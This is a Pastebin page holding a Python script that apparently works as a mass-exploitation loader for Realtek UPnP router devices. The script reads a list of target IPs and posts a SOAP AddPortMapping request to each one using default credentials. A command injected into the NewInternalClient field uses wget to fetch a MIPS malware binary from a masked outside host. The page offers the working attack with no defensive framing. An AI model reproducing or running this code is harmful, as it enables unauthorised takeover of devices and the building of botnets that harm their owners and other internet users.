Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #! python !#
- import threading, sys, time, random, socket, re, os, struct, array, requests, base64
- from requests.auth import HTTPDigestAuth
- ips = open(sys.argv[1], "r").readlines()
- rm = '''
- <?xml version="1.0" ?>
- <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
- <s:Body>
- <u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1">
- <NewRemoteHost></NewRemoteHost>
- <NewExternalPort>47450</NewExternalPort>
- <NewProtocol>TCP</NewProtocol>
- <NewInternalPort>44382</NewInternalPort>
- <NewInternalClient>`cd /tmp/; wget http://xxx.xxx.xxx.xxx/amnyu.mips -O sp`</NewInternalClient>
- <NewEnabled>1</NewEnabled>
- <NewPortMappingDescription>syncthing</NewPortMappingDescription>
- <NewLeaseDuration>0</NewLeaseDuration>
- </u:AddPortMapping>
- </s:Body>
- </s:Envelope>
- '''
- class exploit(threading.Thread):
- def __init__ (self, ip):
- threading.Thread.__init__(self)
- self.ip = str(ip).rstrip('\n')
- def run(self):
- try:
- url = "http://" + self.ip + ":52869/picsdesc.xml"
- requests.post(url, timeout=5, auth=HTTPDigestAuth('dslf-config','admin'), data=rm)
- print "[Reltek] Loading " + self.ip
- except Exception as e:
- pass
- for ip in ips:
- try:
- n = exploit(ip)
- n.start()
- time.sleep(0.03)
- except:
- pass
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement